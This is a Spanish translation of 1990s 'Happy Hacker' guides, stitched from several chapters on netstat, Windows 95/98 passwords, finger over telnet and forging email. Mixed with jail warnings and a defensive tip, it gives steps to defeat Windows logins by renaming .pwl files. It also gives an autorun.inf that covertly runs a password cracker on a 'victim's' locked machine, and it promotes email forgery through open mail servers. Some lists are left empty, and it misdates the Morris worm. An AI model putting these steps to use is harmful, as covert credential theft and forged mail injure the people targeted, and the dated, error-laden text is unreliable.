Hhhmm... no hay mucho que ver. La 'dirección local' (es decir, mi máquina) parece estar escuchando en los puertos 135, 137, 138, y 'nbsession' (el puerto 139... escribe 'netstat -an' para ver los números de los puertos, no los nombres de los puertos). Esto está bien... estos puertos son parte de la red Microsoft, y necesitan estar activos en la LAN a la que mi máquina está conectada.

Ahora conectamos nuestro navegador a http://www.happyhacker.org y al mismo tiempo ejecutamos una sesión de telnet en Windows y conectamos a la cuenta shell de ejemplo.com. Veamos qué sucede. A continuación se ve la salida de la orden 'netstat -a', ligeramente abreviada:

Conexiones activas

Proto Dirección Local Dirección Remota Estado
TCP localhost:1027 0.0.0.0:0 LISTENING
TCP localhost:135 0.0.0.0:0 LISTENING
TCP localhost:135 0.0.0.0:0 LISTENING
TCP localhost:2508 0.0.0.0:0 LISTENING
TCP localhost:2509 0.0.0.0:0 LISTENING
TCP localhost:2510 0.0.0.0:0 LISTENING
TCP localhost:2511 0.0.0.0:0 LISTENING
TCP localhost:2514 0.0.0.0:0 LISTENING
TCP localhost:1026 0.0.0.0:0 LISTENING
TCP localhost:1026 localhost:1027 ESTABLISHED
TCP localhost:1027 localhost:1026 ESTABLISHED
TCP localhost:137 0.0.0.0:0 LISTENING
TCP localhost:138 0.0.0.0:0 LISTENING
TCP localhost:139 0.0.0.0:0 LISTENING
TCP localhost:2508 zlliks.505.ORG:80 ESTABLISHED
TCP localhost:2509 zlliks.505.ORG:80 ESTABLISHED
TCP localhost:2510 zlliks.505.ORG:80 ESTABLISHED
TCP localhost:2511 zlliks.505.ORG:80 ESTABLISHED
TCP localhost:2514 ejemplo.com:telnet ESTABLISHED

Así, ¿qué vemos ahora? Bien, están los puertos que están escuchando en la red Microsoft, como en el primer ejemplo. Y hay también algunos nuevos puertos listados. Cuatro están conectados a 'zlliks.505.org' en el puerto 80, y uno a 'ejemplo.com' en el puerto telnet. Se corresponden a las conexiones cliente que arranqué. Bien, de esta manera sabes el nombre del ordenador en el que está el web de Happy Hacker en este momento.

Pero, ¿qué son esos números de puerto realmente altos? Bien, ¿recuerdas los puertos 'conocidos' de los que hablábamos antes? Las aplicaciones cliente, como los navegadores y los clientes telnet (los clientes son programas conectados a los servidores) necesitan usar un puerto para recibir datos, así que aleatoriamente seleccionan puertos fuera del rango de puertos 'conocidos'... por encima de 1024. En este caso, mi navegador ha abierto cuatro puertos ... del 2508 al 2511.

Ahora supón que quieres mirar los puertos de tus amigos. Es la mejor manera, porque no tendrás que preocuparte de que tu amigo haga que te echen de tu ISP porque sospecha que quieres entrar en su ordenador por la fuerza. ¿Cómo averiguar la dirección IP de tu amigo? Díle que ejecute la orden (desde la línea de ordenes del DOS) 'netstat -r'. Esto mostrará algo como esto:

C:\WINDOWS>netstat -r

Tabla de caminos

Rutas activas:

Destino de red  Máscara   Puerta de acceso  Interfaz      Métrica
0.0.0.0      0.0.0.0     198.59.999.200     198.59.999.200     1
127.0.0.0    255.0.0.0   127.0.0.1          127.0.0.1          1
198.59.999.0 255.255.255.0  198.59.999.200  198.59.999.200     1
198.59.999.200 255.255.255.255 127.0.0.1    127.0.0.1          1
198.59.999.255  255.255.255.255 198.59.999.200 198.59.999.200  1
224.0.0.0    224.0.0.0   198.59.999.200     198.59.999.200     1
255.255.255.255   255.255.255.255  198.59.999.200  0.0.0.0     1

Conexiones activas

Proto Dirección Local Dirección remota Estado
TCP lovely-lady:1093 mack.foo66.com:smtp ESTABLISHED

La 'puerta de acceso' y la 'interfaz' dan la dirección IP actual de tu ordenador. Si estás en una LAN, la puerta de acceso será diferente de la dirección IP de tu ordenador. Si tú o tu amigo estáis en una LAN, deberías pensarlo dos veces antes de buscaros puertos el uno al otro, o el administrador de la LAN puede darse cuenta de lo que hacéis. Aviso, los administradores de sistemas tienen un gran arsenal de larts disponible contra los usuarios que actúan sospechosamente.


Nota para principiantes: ¿Lart? ¿Qué narices es un lart? Es una "herramienta de reajuste de la actitud de un luser". Es una clase genérica de técnicas usadas por los administradores de sistemas para castigar a los lusers. ¿Qué es un luser? Un usuario rebelde. Para tener un ejemplo de larts populares visita la página http://mrjolly.cc.waikato.ac.nz. Quieres que tus administradores de sistemas sean tus amigos, ¿verdad? ¡Nunca olvides esto!


¿Cuáles son algunas de las vulnerabilidades de Win95 y NT? Busca esta información en Guías anteriores. Quizás la cosa más importante que recordar acerca de Windows es que (al igual que el 'root' en Unix), puede ejecutar un programa que use cualquier puerto que quiera, incluso los puertos conocidos. Se puede demostrar esta vulnerabilidad con un programa de Weld Pond, de L0pht, llamado 'netcat'. Se puede obtener el programa en:

http://www.l0pht.com/~weld/netcat

Lee la documentación que viene con el programa, o las Guías sobre Win95 y telnet o las de seguridad de NT de:

http://www.infowar.com/hacker/hacker.html-ssi

Por supuesto, varias aplicaciones Windows, como Internet Explorer, tienen sus propias vulnerabilidades.

A estas alturas te estarás preguntando dónde puedes aprender más acerca de diversas vulnerabilidades y exploits que puedes encontrar en cualquier ordenador en Internet. Una lista de sitios:

**En este sitio está el programa RedButton, que demuestra la capacidad de conectar a una máquina NT vía una sesión nula y conseguir información del registro. Este es un problema relativamente simple de arreglar... mira las Guías de seguridad de NT en: http://www.infowar.com/hacker/hacker.html-ssi

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

TUTORIALES DIVERTIDOS PARA PRINCIPIANTES

 

 

 

CÓMO CONVERTIR TU PC CON WINDOWS 95/98
EN EL PC DE UN HACKER


Me aburría bastante en el colegio, así que después de fardar un rato delante de mis amigos falsificando correo electrónico (haciéndome pasar por otras personas), me puse a imprimir todos los capítulos de la Guía de Hacking (casi) Inofensivo en la impresora láser... Creo que os interesará saber que la Guía se está infiltrando cada vez más en las manipulables mentes de los adolescentes... ¡jajajajajajajaja!.

En mi colegio han cortado la conexión a Internet indefinidamente. ¿La razón? No, nuestros ordenadores no estaban infectados por ningún virus de un malvado hacker de élite; fueron los administradores quienes decidieron hacerlo. Se dieron cuenta de que el uso mayoritario que daban los estudiantes a Internet era bajarse la Guía de Hacking (casi) Inofensivo para imprimirlas.

Estos chicos están hablando de las Guías de Hacking casi inofensivo que circulan por tantas webs sobre hacking. ¡Empieza la acción!. ¿Quieres empezar tu carrera como hacker con algo sencillo, legal y divertido que ponga los pelos de punta a tus amigos?. Puedes hacerlo con Windows 95/98. Algunos hackers lo llaman con cachondeo "Winblows" ("Winrevienta") o "Windoze" ("Winduerme") y se ríen de los que lo usamos: es demasiado malo para ellos. Pero a nosotros, los hackers de verdad, nos gusta cacharrear con cualquier sistema operativo y, puesto que Windows 95/98 es el que usa casi todo el mundo... ¡aprendamos a hacer que se siente y ladre como un perro!.

Además, Windows NT se está convirtiendo en el sistema operativo de muchos servidores de Internet, por lo que si quieres aprender a practicar hacking con él no te vendrá mal empezar en tu casa con Windows 95/98.

En este tutorial aprenderás a:


Imagina que estás dando una fiesta loca en casa y quieres demostrar a tus colegas que eres miembro de un famoso grupo hacker: enchufas el PC y aparecen las mullidas nubecitas de la pantalla de arranque de Windows 95/98. ¡Pues vaya un hacker...! Tu PC es igual que el de todo el mundo; como el que maneja cualquier empleaducho con un coeficiente intelectual de 80.

Si ya eres un hacker de verdad podrías arrancar con Linux, FreeBSD o cualquier otro UNIX, pero seguramente tus amigos no tienen mucha idea y apenas lo sabrán diferenciar de MS-DOS. Así no los impresionarás. Sin embargo puedes recurrir a la "ingeniería social" y hacerles creer que estás entre la élite hacker si arrancas Windows 95/98 y aparece un fondo hecho por ti. Supón que quieres que al arrancar aparezcan unas llamas y el eslogan "Superhackers malignos del Apocalipsis" sobre un tenebroso fondo negro.

Esto es muy fácil. He aquí mi pantalla de arranque.


Nota para principiantes: Usar "ingeniería social" es jugar con los sentimientos e ingenuidad de la gente. Un delincuente informático utiliza la ingeniería social para que la gente le diga sus passwords. Pero nuestra ingeniería social es inofensiva: siempre puedes reconocer ante tus amigos que estabas bromeando sobre lo de ser un hacker de la élite. O si no... ¡puedes seguir estudiando y llegar a ser un hacker de verdad!.


Este es el problema: cada vez que arrancas el PC, Microsoft quiere hacer propaganda de su sistema operativo. Incluso han recurrido a los tribunales para evitar que los vendedores de PCs puedan cambiar el logo y para que se vean forzados a seguir haciendo propaganda de Micro$oft. Tampoco les hace gracia que los usuarios lo toqueteen, así que intentan ponérnoslo difícil. Ahora veremos cómo acabar con sus planes; planes tan importantes que si fueras una gran compañía te demandarían.

La forma más sencilla de modificar a tu antojo las pantallas de arranque y apagado de Windows 95 es ir a http://www.windows95.com/apps/ y bajarte algunos programas para hacerte las tuyas. Pero somos hackers, así que nos gusta hacer las cosas por nuestra cuenta. Lo más recomendable antes de empezar es hacer una copia de seguridad de las pantallas originales; es la forma más sencilla de dejar todo como estaba. Has de copiar (con el Explorador de Windows o la herramienta que quieras) los archivos logo.sys, logos.sys y logow.sys, que están en c:\windows.

Bien, ahora vas sobre seguro. Nota: algunas versiones de Windows 95 y Windows 98 no vienen con logo.sys. Está escondido en "io.sys". No puedes editar io.sys (a no ser que sepas qué es un editor hexadecimal y algo de archivos binarios).

Ahora estás listo para hacer tus propias pantallas de arranque y apagado de hacker malvado. Puedes hacerlas de modo muy fácil o recurrir a técnicas de la élite. Para empezar, usaremos el programa Paint.

CÓMO ENTRAR EN ORDENADORES
CON WINDOWS 95/98


¿Entrar en Windows 95? ¡Eso es de pardillos! Esto es lo que algunos hackers de la superélite te dirán.

Espera, ¿verdad que ahora todo el mundo usa Win98? ¿Funcionarán todos estos trucos en Win98? Efectivamente, muchos de ellos funcionarán. En algunos de los casos donde no funcionan, te ayudaré con versiones de estos trucos para Win98.

Sin embargo, si lo que deseas seriamente es convertirte en hacker, necesitas atreverte a probar en tu Win98 las cosas que digo que sólo funcionan en Win95, para así descubrir el regocijo que se consigue aniquilando tu propio sistema operativo... digo, el regocijo que se consigue descubriendo las cosas por ti mismo.

Y sí, en el caso de que te lo estés preguntando, yo misma aniquilé mi Win95 varias veces probando los trucos que estás a punto de leer. La única razón por la que no he probado las versiones para Win98 de todo lo aquí dicho es simplemente pura pereza.

Además, Win95 es mucho mejor que Win98 -- es más rápido, y es más fácil hacer una buena escabechina... digo, explorar las maravillas de la programación.

En este artículo aprenderás:


Puedes decirle a tus amigos que vengan a ver cómo te introduces en tu Windows. ¡Qué demonios, que traigan también los suyos! Les vas a dar unas cuantas sorpresas. Después de ver esa pantalla de arranque de 'Superhackers del Apocalipsis' temblarán al pensar en qué, oh, qué has podido esconder detrás de ese icono "Secretos Ocultos del Hacker".

¿Qué es lo siguiente que harás?


¿Qué te parece hacer click en "Inicio", luego en "Configuración", después en "Panel de Control" y por último en "Contraseñas". Díles tu clave a tus amigos y pídeles que introduzcan una nueva. Después reinicia tu ordenador y díles que estás a punto de enseñarles cómo saltarse su clave y cómo volver a entrar en tu propia máquina.

Aviso: Prueba esto antes, porque dependiendo de cómo esté configurado tu ordenador existen varias técnicas que puedes usar. Las primeras técnicas que mostraremos funcionarán en instalaciones de Win 95/98 de casa. Pero en redes de área local (LAN), algunas de estas técnicas no funcionarán. Pero te prometo que puedes romper cualquier sistema de protección por medio de claves si tu ordenador tiene una disquetera, aunque pertenezca a una LAN.


Acceso sencillo a Win 95/98 nº 1


1.      Arranca tu ordenador.

2.      Cuando aparezca la pantalla de "Configuración del sistema", pulsa "F5". Si tu sistema no muestra esta pantalla, simplemente mantén pulsada la tecla "F5".

Si tu Win 95 tiene la configuración correcta, esto hará que arranques en modo "A prueba de fallos". Todo se verá raro, pero no tendrás que introducir ninguna clave y podrás ejecutar cualquiera de tus programas.

¡Demasiado fácil! De acuerdo, si quieres puedes hacer algo que te hará parecer un temible hacker, aquí tienes otra forma de ignorar la nueva clave.

 


Acceso sencillo a Win 95/98 nº 2


1.      Arranca.

2.      Cuando llegues a la pantalla de "configuración del sistema", pulsa la tecla F8. Entrarás en el Menú de Inicio de Microsoft Windows 95/98.

3.      Selecciona la opción 7. Esto te llevará al MS-DOS. En la línea de comandos, introduce la orden "rename c:\windows\*.pwl c:\windows\*.zzz".


Nota para principiantes: MS-DOS es el acrónimo de Microsoft Disk Operating System (Sistema Operativo de Disco de MicroSoft), un antiguo sistema operativo de 1981. Es un sistema operativo de línea de órdenes, lo que quiere decir que tendrás una línea de órdenes (probablemente c:\) en la que podrás teclear una orden que se ejecutará cuando pulses la tecla enter. MS-DOS se abrevia frecuentemente como DOS. Se parece un poco a Unix, y de hecho los más viejos afirman que en sus primeras versiones incorporaba código de Unix.


4.      Reinicia. Aún aparecerá en pantalla la ventana de introducción de la clave. Pero ahora, aceptará cualquiera clave. Puedes engañar a tus amigos introduciendo la clave que quieras. Se te pedirá que la reintroduzcas para confirmar la nueva clave. De todos modos, ten en cuenta que con esta técnica aún permanecerán ocultas claves como las de los programas de conexión a Internet y las de los programas de control de acceso a la web.

5.      Si tus amigos son lo suficientemente inteligentes como para sospechar que simplemente has creado una nueva clave, puedes recuperar la que tus amigos introdujeron. Para eso, usa la herramienta que quieras -El Administrador de Ficheros, el Explorador de Windows o el MS-DOS- y renombra de nuevo los *.zzz como *.pwl.

6.      Reinicia y deja que tus amigos usen su clave secreta. ¡Aún funciona! Creerán que realmente te has hecho con esa clave.


Truco para genios malignos: Las teclas que hacen algo durante el proceso de arranque son F4, F5, F6, F8, Shift+F5, Control+F5 y Shift+F8. ¡Juega con ellas!





Cómo hacerse realmente con claves de Win95/98


De acuerdo, lo que hasta ahora has leído es cosa de niños. Digamos que quieres ser un hacker serio y acceder realmente a esas claves para así tener total acceso a cosas como las claves de conexión a internet. Bien, lo sencillo es copiar los ficheros "*.pwl" a un disquete, y averiguarlas en tu tiempo libre. El método de cifrado utilizado es lastimosamente débil. Si tienes un cracker, un programa rompedor de claves, te llevará segundos revelar su contenido.

Es posible robar y encontrar estas claves en segundos, incluso si el ordenador de la víctima tiene un salvapantallas con clave y no quieres ser tan descarado como para apagar el ordenador y volverlo a encender. Aquí está cómo hacerlo.

Primero, el ordenador de tu víctima debe tener un CD-ROM y una disquetera. Necesitarás un programa rompedor de claves, y en tu ordenador una grabadora de CD-ROMs. Lo siento, pero no voy a decirte cómo conseguir ese programa, porque no quiero que los críos lo usen cuando sus padres les lleven de visita a su lugar de trabajo. Tendrás que hacer esa parte por ti mismo.

Así que aquí tienes una forma ridículamente sencilla de romper cualquier clave de Windows 95 -si tienes el programa (que fue escrito por Vicent Larsen, un director de nuestro Juegos de Guerra de Hackers.

1.      Graba un fichero en tu CD-ROM llamado "autorun.inf". Simplemente contendrá lo siguiente:

[autorun]
open=autorun.exe
icon=autorun.exe, 0

2.      Graba el programa de Larsen "autorun.exe" en tu disquete, de modo que el autoarranque del CD automáticamente ejecute el fichero cuando introduzcas el CD-ROM en el lector. De acuerdo, si buscas por la web, encontrarás montones de otros programas para hacerse con las claves de Win 95/98. Si estás deseando pagar dinero por un programa de claves, prueba http://www.webdon.com/vitas. El más poderoso de estos programas es el PWLview, que instantáneamente extrae las claves cacheadas en memoria. De todas formas no siempre encontrarás guardada en memoria la clave que necesitas. Sea como sea, puedes encontrar las claves de Win95 de sus ficheros cifrados casi instantáneamente, y las claves del Win98 más lentamente, con PWLtool (en el mismo sitio).

3.      Cuando el propietario del ordenador víctima no esté mirando, introduce el disquete en la disquetera y el CD en el lector de CD-ROMs. Incluso si el salvapantallas se está ejecutando, autorun hará su faena secretamente y guardará la(s) clave(s) que encuentre en tu disquete. (Todo esto presupone que tu programa hace lo mismo que el mío). ¡Guarda los discos en tu cartera y disfruta!

4.      ¡No me escribas correos electrónicos ni me telefonees pidiéndome este programa! ¡No va a funcionar ni que me ofrezcas dinero! Estoy intentando crear un sitio web para el hacking (casi) inofensivo, así que de lo único que trato de convencerte es de que nunca te des la vuelta cuando estoy cerca de tu ordenador, esto... digo, enseñándote algo sobre la seguridad de tu ordenador. De todas formas, estoy pensando en incluirlo en el CD que acompañará a mi próximo libro, ÜberHacker.


Aviso de cárcel: practica esta clase de trastadas sólo con buenos amigos. Haz esto en el trabajo o el colegio, y podrías llegar a conocer cómo es un interrogatorio policial.


¡Ojo, esto no funcionará en Windows NT! Otra razón más para cambiar tu Win95/98 por un WinNT.

Tampoco funcionará si tienes desactivado el autoarranque del lector de CD-ROMs. Aquí tienes cómo hacer ésto:

1.      Haz click con el botón derecho del ratón sobre el icono "Mi PC". Selecciona "Propiedades", y a continuación haz click en la pestaña "Administrador de Dispositivos". Aparecerá una lista con los dispositivos de tu ordenador.

2.      Haz click en el signo "+" junto a "CD-ROM". Esto desplegará la lista de los lectores de CD-ROMs que tengas instalados. Haz click con el botón derecho sobre el lector de CD-ROMs que desees proteger, y de este menú selecciona "Propiedades".

3.      Haz click en "Configuración". Busca la opción etiquetada "Notificar la inserción automáticamente". Esto suena a guasa, pero cuando esta opción esta seleccionada, cualquier CD en ese lector se ejecutará automáticamente, incluso aunque tu salvapantallas con clave haya supuestamente bloqueado tu sistema para protegerlo de manos ajenas. ¡Desactiva esta opción!




 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

VOLUMEN 1. Hacking en Unix

 

 

Finger


Tíos, aquí tenéis la guía que os inicia a este mundo - ¡la mayor guerra hacker que jamás haya tenido lugar para gloria de todos nosotros, los Happy Hacker!

Primero, antes de que sigas leyendo, debes saber que esta guía se ha escrito para gente que utiliza sistemas operativos de la familia UNIX. Ninguna de las maravillas que se describen en esta guía funciona en Windows.

Segundo, ninguno de los trucos de esta guía funciona en los ordenadores a los que sugiero que hagas "finger". Esto es así porque los dueños de dichos ordenadores acabaron preocupándose por la cantidad de personas que les hacían finger, con lo que acabaron deshabilitando el servicio. En cualquier caso, esa es una buena idea, porque generalmente, siempre es posible encontrar una manera de entrar en un sistema que dispone del servicio finger. -- Carolyn Meinel.

Truco de hacking de este artículo:
Cómo hacer finger a un usuario vía telnet.

Hacking. La palabra evoca una conjura diabólica de genios de la informática planificando el hundimiento de la civilización mientras hacen desaparecer billones en fondos robados electrónicamente a un banco de Antigua.

Pero yo prefiero definir el hacking como una manera, divertida y aventurera, de aprender acerca de los ordenadores. Los hackers no seguimos el libro al pie de la letra. Nos comemos el coco y probamos cosas raras, y cuando damos con algo divertido se lo contamos a nuestros amigos. Algunos de nosotros puede que sean unos mangantes, pero lo más normal es encontrar buena gente, o al menos gente que no provoca daños.

Más aún, el hacking es sorprendentemente fácil. Te daré la oportunidad de que lo compruebes por ti mismo e inmediatamente.

Sin tener en cuenta por qué quieres ser un hacker, es definitivamente una manera de divertirse, impresionar a tus colegas y ligar. Si eres una hacker, te convertirás en alguien totalmente irresistible para todo el mundo. Palabra de honor! ;^D

Este artículo puede convertirse en tu puerta de entrada a este mundo. De hecho, después de leer esta primera entrega, serás capaz de llevar a cabo una hazaña que impresionará al o a la infeliz (¡perdón! ^H^H^H^H^H^H), al afortunado o afortunada con quien ligarás en la próxima fiesta.

Y ¿qué es lo que necesitas para convertirte en un hacker?. Antes de que te lo diga, sin embargo, debo echarte un discursito.

¿Has enviado alguna vez un mensaje a un grupo de noticias o a una lista de correo dedicada al hacking?. ¿Dijiste algo así como "¿qué tengo que hacer para convertirme en un hacker?". ¿Sí?. Mejor será que no intentes "eso" nunca más.

Una experiencia así te enseñará lo que significa un mensaje "flame".

Pues sí, a algunos de los de la 3l1te les gusta meterse con los novatos. Se comportan como si hubieran nacido con un manual de UNIX en una mano y una especificación de TCP/IP en la otra, de manera que cualquiera que sepa menos que ellos es pura escoria.


Nota para principiantes: 3l1t3, 31337, etc. significan "élite". La idea es coger la palabra "élite" o "eleet" y sustituir algunas de las letras por números. También nos gusta utilizar las “zetas” (Z’s).


Bueno, puede que en ese momento estuvieras pidiendo ayuda sinceramente. Pero por alguna razón los hackers se lanzan a machacar a los extraños que piden ayuda.

Lo que nos fastidia realmente son el tipo de gente que dice, "quiero convertirme en un hacker. Pero *no* quiero aprender a programar, ni aprender nada de sistemas operativos. Dádme algunas contraseñas, ¡¡Sí!!. Y de paso, ¡algunos números de tarjetas de crédito!"

En serio, yo misma he enviado este tipo de mensajes en grupos de hackers. Hazlo y lo más probable es que te levantes a la mañana siguiente con 3000 mensajes en tu buzón de correo (esto es el flame, te queman el buzón de e-mail), provenientes de listas de distribución sobre irrigación agrícola, proctología, etc, etc, etc... ¡Arrrgghhhh!

La razón por la que nos fastidian estos hackers de medio pelo es porque pueden entrar en el ordenador de la gente y provocar un daño realmente serio, incluso de manera completamente inconsciente.

¿Cómo puede un novato ignorante echar a perder el ordenador de otra persona?. Fácil. Hay servidores de FTP y sitios Web en Internet que ofrecen programillas enlatados de hacking.

Gracias a estas herramientas enlatadas, la mayoría de los hackers de los que te enteras que los han detenido son, de hecho, novatos ignorantes.

Este artículo te enseñará cómo practicar hacking inofensivo auténtico, pero legal, sin tener que acudir a estas herramientas. Pero lo que no te enseñaré es cómo hacer daño en las máquinas de otros. Ni siquiera te enseñaré a meterte en sitios a los que no perteneces.


Aviso de cárcel: Incluso cuando no provocas ningún daño, si entras en una parte de un ordenador que no está abierta al público, has cometido un delito. Si en Estados Unidos cruzas una frontera estatal al hacer un telnet para introducirte en un sistema, has cometido un delito federal.


Me centraré en el hacking en Internet. La razón es que los ordenadores conectados a Internet cuentan con algo así como conexiones públicas con el resto de la red. Esto significa que si utilizas las órdenes adecuadas, puedes acceder a estos ordenadores de manera *legal*.

Por supuesto, esto es, al fin y al cabo, lo que haces cada vez que visitas una página Web. Te enseñaré cómo acceder y utilizar estos ordenadores de Internet, de maneras que la mayoría de la gente jamás hubiera imaginado. Y más aún, son trucos divertidos.

De hecho, pronto estarás aprendiendo trucos que te ilustrarán sobre cómo otra gente (no tú, ¿vale? ¿prometido?) puede entrar en las partes no públicas de los ordenadores. Estos trucos puede hacerlos cualquiera.

Pero, hay una cosa que deberías conseguir. Hará las cosas infinitamente más sencillas:

¡¡UNA CUENTA SHELL!!

Una shell es una cuenta de Internet mediante la cual tu ordenador se convierte en terminal de uno de los servidores de tu ISP. Una vez en la shell puedes comenzar a mandarle órdenes al sistema operativo Unix de igual manera que si estuvieras sentado enfrente de una de las máquinas del ISP.

Advertencia: El servicio técnico de tu ISP puede decirte que tienes acceso a una cuenta shell, cuando realmente no es así. A muchos ISPs no les gustan las shells. ¿Adivinas por qué?. Si no tienes una shell, ¡no puedes practicar hacking!

Pero puedes saber fácilmente si se trata de una shell auténtica. Lo primero que deberías utilizar es un "programa de emulación de terminal" para acceder. Necesitarás un programa que imite a los terminales VT 100. Si tienes Windows, entre los Accesorios se incluye un terminal VT 100.

Cualquier ISP que se precie te dejará probarlo por unos días con una cuenta de invitado. Consigue una y prueba algunas órdenes de Unix para asegurarte de que se trata de una shell auténtica.

¿No sabes Unix? Si te estás tomando en serio esto del hacking, necesitarás unos cuantos buenos libros de referencia. No, no me refiero a esos libros con títulos que quitan el aliento como "Los Secretos del Superhacker". He comprado muchos de esos libros. Están muy llenos de aire y muy vacíos de cómo se hacen las cosas. Libros serios de estudio para hackers son:

OK, se acabó el discursito. ¡Es la hora del hacking!

¿Te gustaría empezar tu carrera de hacker con uno de los más simples y antiguos trucos de Internet?

Ahí va:

Telnet a un puerto de finger.


¿Has intentando antes utilizar el comando finger?. Finger algunas veces te dice un montón de cosas sobre otra gente en Internet. Normalmente sólo necesitarías teclear el comando:

finger Joe_Schmoe@Fubar.com

Pero en lugar de Joe Schmoe, lo que pones ahí es la dirección de correo de alguien de quien quieres saber algo. Por ejemplo, mi dirección de correo es cmeinel@techbroker.com. Por tanto para hacerme un finger, teclea:

finger cmeinel@techbroker.com

Este comando te mostrará información, o te responderá con un mensaje de error como "access denied".

Pero hay una manera mucho más "de la élite" de hacer un finger de alguien. Puedes teclear el comando:

telnet llama.swcp.com 79

Lo que este comando hace es conectarte al puerto 79 del ordenador llama.swcp.com de Internet - sin tener que darle ninguna password.

Pero el programa que llama y muchos otros servidores de Internet que lo ejecutan sólo te permitirán enviarles una orden antes de cerrar automáticamente la conexión. Teclea:

cmeinel

Esto te revelará un secreto de hacker acerca de por qué el puerto 79 y el programa finger son más importantes de lo tú podrías creer. ¡Ugg,qué demonios!, quizá algo más si el vecindario hacker insiste en seguir metiendo mensajes insultantes en mis ficheros.

Si cualquiera de vosotros que lea esto quiere utilizar el comando finger para entrar en un ordenador, intentadlo con cualquiera de nuestros "juegos de guerra informática". Cuando estés en la shell de tu cuenta Unix, teclea la orden telnet meyer.happyhacker.org 79 y a continuación prueba las órdenes "cmeinel", "@", "root" y otros que se te ocurran - ¡hey!, ¡así es el hacking, tíos! - Carolyn Meinel.

Ahora, como bono extra de hacking, intenta hacer telnet a otros puertos. Por ejemplo:

telnet kitsune.swcp.com 13

Este te dará la hora y la fecha aquí en Nuevo México, y:

telnet slug.swcp.com 19

te dará una hora precisa.

Bueno, fin de este artículo. Prometo que te contaré más sobre lo importante que es hacer telnet al puerto de finger, pero más adelante.

 

 

Cómo falsificar correo electrónico


La siguiente Guía cubre las bases de la falsificación de correo electrónico.

La primera convención de hackers a la que asistí fue Def Con III, en el hotel Tropicana de Las Vegas, en agosto de 1995. Me traje un portátil de pocas prestaciones con Windows 3.11 y un módem. El salón de baile tenía una conexión telefónica activada con la que al parecer nadie hacía nada, así que la ocupé. Hice telnet a las diferentes máquinas Unix en las que tenía cuentas shell y entretuve a montones de hackers mostrándoles cómo podían falsificar correo electrónico en casi cualquier ordenador conectado a Internet.

Gregory Gillis, del Dis Org Gang, lo encontró tan genial que me hizo escribir las instrucciones sobre cómo falsificar correo electrónico, las copió en disquetes y se las vendió a la gente de la Def Con.

Hoy en día es mucho más difícil falsificar correo que cuando publiqué esta Guía. La razón es que los spammers falsifican el correo electrónico para enviar correos basura. Esta práctica carga enormemente la máquina empleada para enviar el correo falso, no permitiéndole realizar sus tareas normales. ¡También hace que toda esa gente que recibe correos del estilo "fotos calientes XXX" se vuelva totalmente loca! Así pues, sólo los más despistados dejan sus servidores de correo abiertos al público.

Todavía es fácil falsificar correo electrónico: simplemente tienes que saber más que los spammers. En la Guía que sigue he añadido instrucciones sobre cómo encontrar, en menos de diez minutos, un ordenador en el que poder falsificar correo. Claro que si lo que quieres son instrucciones actualizadas, real y seriamente detalladas acerca de cómo falsificar correo, echa un vistazo a mi libro *The Happy Hacker*, que está en la mayoría de las estanterías de las librerías Barnes & Noble

Carolyn Meinel.


En este capítulo vamos a aprender cómo falsificar correo electrónico y cómo detectar falsificaciones. ¡Lo prometo, estos trucos son espectacularmente fáciles!


Hacking osado en media hora. ¿Cómo te gustaría dejar alucinados a tus amigos? Bien, ¿cuál es la cosa más flipante que has oído que hacen los hackers?

Conseguir acceso a un ordenador sin tener autorización para ello, ¿no?

Así que ¿te gustaría ser capaz de acceder y ejecutar un programa en casi cualquiera de los millones de ordenadores conectados a Internet? ¿Te gustaría acceder a todos esos ordenadores de la misma forma que lo hizo el hacker más notorio de la historia: ¡Robert Morris!?

El Gusano de Morris fue el que desmontó Internet en 1990. Desde luego, el fallo que aprovechó para llenar el 10% de los servidores de Internet con su virus de autoenvío ha sido arreglado ya en la mayoría de los servidores.

Pero esa misma característica de Internet tiene todavía montones de fallos y diversión por descubrir. De hecho, lo que vamos a aprender es el primer paso de varias de las maneras más comunes que los hackers usan para introducirse en las zonas privadas de ordenadores desprevenidos.

Pero no te voy a enseñar a meterte en esos sitios. Suena demasiado mal. Además, soy alérgica a la cárcel.

Así que lo que vas a aprender es legal e inofensivo, pero la mar de divertido. Nada de vendas en los ojos ni juramentos de sangre con los colegas que te vean hacer estas cosas.

Pero, para probar estas técnicas vas a necesitar un servicio de conexión que te permita hacer un telnet a un puerto específico de un servidor conectado a Internet. Netcom, por ejemplo, te dejará salirte con la tuya.

Sin embargo Compuserve, America Online y la mayoría del resto de proveedores de acceso a Internet son tan buenas niñeras que te evitarán que caigas en la tentación.

¡La mejor forma de hacer esto es con una CUENTA SHELL! ¡Hazte ya con una si no la tienes todavía!


Nota para principiantes nº1: Una cuenta shell es una cuenta de Internet que te deja ejecutar comandos Unix. Unix se parece mucho a DOS. Tienes un símbolo de sistema en tu pantalla y tecleas órdenes. Unix es el lenguaje de Internet. Si quieres ser un hacker en serio, tienes que aprender Unix.


Este hack es muy simple, incluso si nunca te habías conectado por telnet antes. De hecho, incluso aunque lo que vas a aprender te parezca de lo más osado, lo puedes dominar en media hora, o menos. Y sólo tienes que memorizar *dos* órdenes.

Para comprobar si tu proveedor de acceso a Internet te permite hacer este tipo de cosas, prueba con:

telnet callisto.unm.edu 25

Este es un ordenador de la Universidad de Nuevo México. Mi cuenta de Compuserve se cuelga cuando lo pruebo. Simplemente corta la sesión de telnet sin decir siquiera "tch, tch".

Pero, al menos hoy, Netcom todavía me permite usar esta orden. Y casi todas las cuentas shell ofrecidas por un proveedor de acceso a Internet cutre también lo harán. Muchas cuentas de la universidad también te dejarán salirte con la tuya.


Nota para principiantes nº2: Cómo conseguir cuentas shell.

Busca en las páginas amarillas. Mira en Internet. Llama y pídela.

Lo normal es que te digan "Claro que podemos". Pero la mayoría de las veces te están mintiendo. Creen que eres demasiado tonto como para saber lo que es una verdadera cuenta shell. O el tío mal pagado con el que hablas no tiene ni idea.

La mejor manera es pedir una cuenta temporal de invitado. Cualquier proveedor de acceso a Internet que merezca la pena te dejará una de prueba gratis. Con esto ya puedes probar el truco del día.


De acuerdo, supongamos que tienes una cuenta seria que te deja hacer telnet a algún sitio. Así que volvamos a probar:

telnet callisto.unm.edu 25

Si ya habías hecho algún telnet antes, lo más probable es que pusieras sólo el nombre del ordenador al que te querías conectar, sin añadir ningún número detrás. Esos números marcan la diferencia entre el ciudadano bueno y aburrido de Internet y alguien que se desliza por la resbaladiza pendiente que conduce al reino de los hackers.

